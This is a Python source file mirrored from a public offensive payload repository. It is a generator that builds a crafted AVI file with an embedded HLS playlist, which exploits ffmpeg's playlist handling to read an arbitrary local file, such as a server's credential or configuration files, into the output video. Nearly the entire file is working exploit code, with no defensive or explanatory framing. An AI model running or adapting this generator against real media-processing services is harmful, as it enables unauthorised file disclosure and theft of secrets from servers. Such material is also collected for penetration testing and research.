mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-29 15:55:25 +00:00
151 lines
4.8 KiB
Python
Executable File
151 lines
4.8 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
import struct
|
|
import argparse
|
|
import random
|
|
import string
|
|
|
|
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
|
|
|
|
ECHO_TEMPLATE = """### echoing {needed!r}
|
|
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
|
|
#EXTINF:1,
|
|
#EXT-X-BYTERANGE: 16
|
|
/dev/zero
|
|
#EXT-X-KEY: METHOD=NONE
|
|
"""
|
|
|
|
# AES.new('\x00'*16).decrypt('\x00'*16)
|
|
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
|
|
|
|
FULL_PLAYLIST = """#EXTM3U
|
|
#EXT-X-MEDIA-SEQUENCE:0
|
|
{content}
|
|
#### random string to prevent caching: {rand}
|
|
#EXT-X-ENDLIST"""
|
|
|
|
EXTERNAL_REFERENCE_PLAYLIST = """
|
|
|
|
#### External reference: reading {size} bytes from {filename} (offset {offset})
|
|
#EXTINF:1,
|
|
#EXT-X-BYTERANGE: {size}@{offset}
|
|
{filename}
|
|
|
|
|
|
"""
|
|
|
|
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
|
|
|
|
|
|
def echo_block(block):
|
|
assert len(block) == 16
|
|
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
|
|
return ECHO_TEMPLATE.format(needed=block, iv=iv)
|
|
|
|
|
|
def gen_xbin_sync():
|
|
seq = []
|
|
for i in range(60):
|
|
if i % 2:
|
|
seq.append(0)
|
|
else:
|
|
seq.append(128 + 64 - i - 1)
|
|
for i in range(4, 0, -1):
|
|
seq.append(128 + i - 1)
|
|
seq.append(0)
|
|
seq.append(0)
|
|
for i in range(12, 0, -1):
|
|
seq.append(128 + i - 1)
|
|
seq.append(0)
|
|
seq.append(0)
|
|
return seq
|
|
|
|
|
|
def test_xbin_sync(seq):
|
|
for start_ind in range(64):
|
|
path = [start_ind]
|
|
cur_ind = start_ind
|
|
while cur_ind < len(seq):
|
|
if seq[cur_ind] == 0:
|
|
cur_ind += 3
|
|
else:
|
|
assert seq[cur_ind] & (64 + 128) == 128
|
|
cur_ind += (seq[cur_ind] & 63) + 3
|
|
path.append(cur_ind)
|
|
assert cur_ind == len(seq), "problem for path {}".format(path)
|
|
|
|
|
|
def echo_seq(s):
|
|
assert len(s) % 16 == 0
|
|
res = []
|
|
for i in range(0, len(s), 16):
|
|
res.append(echo_block(s[i:i + 16]))
|
|
return ''.join(res)
|
|
|
|
|
|
test_xbin_sync(gen_xbin_sync())
|
|
|
|
SYNC = echo_seq(gen_xbin_sync())
|
|
|
|
|
|
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
|
|
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
|
|
packet = b'00tx' + struct.pack('<I', len(content)) + content
|
|
dcpkt = b'00dc' + struct.pack('<I',
|
|
fake_packet_len) + b'\x00' * fake_packet_len
|
|
return AVI_HEADER + packet + dcpkt * fake_packets
|
|
|
|
|
|
def gen_xbin_packet_header(size):
|
|
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
|
|
|
|
|
|
def gen_xbin_packet_playlist(filename, offset, packet_size):
|
|
result = []
|
|
while packet_size > 0:
|
|
packet_size -= 16
|
|
assert packet_size > 0
|
|
part_size = min(packet_size, 64)
|
|
packet_size -= part_size
|
|
result.append(echo_block(gen_xbin_packet_header(part_size)))
|
|
result.append(
|
|
EXTERNAL_REFERENCE_PLAYLIST.format(
|
|
size=part_size,
|
|
offset=offset,
|
|
filename=filename))
|
|
offset += part_size
|
|
return ''.join(result), offset
|
|
|
|
|
|
def gen_xbin_playlist(filename_to_read):
|
|
pls = [echo_block(XBIN_HEADER)]
|
|
next_delta = 5
|
|
for max_offs, filename in (
|
|
(5000, filename_to_read), (500, "file:///dev/zero")):
|
|
offset = 0
|
|
while offset < max_offs:
|
|
for _ in range(10):
|
|
pls_part, new_offset = gen_xbin_packet_playlist(
|
|
filename, offset, 0xf0 - next_delta)
|
|
pls.append(pls_part)
|
|
next_delta = 0
|
|
offset = new_offset
|
|
pls.append(SYNC)
|
|
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
|
|
random.choice(string.ascii_lowercase) for i in range(30)))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
|
|
parser.add_argument(
|
|
'filename',
|
|
help='filename to be read from the server (prefix it with "file://")')
|
|
parser.add_argument('output_avi', help='where to save the avi')
|
|
args = parser.parse_args()
|
|
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
|
|
content = gen_xbin_playlist(args.filename)
|
|
avi = make_playlist_avi(content)
|
|
output_name = args.output_avi
|
|
|
|
with open(output_name, 'wb') as f:
|
|
f.write(avi)
|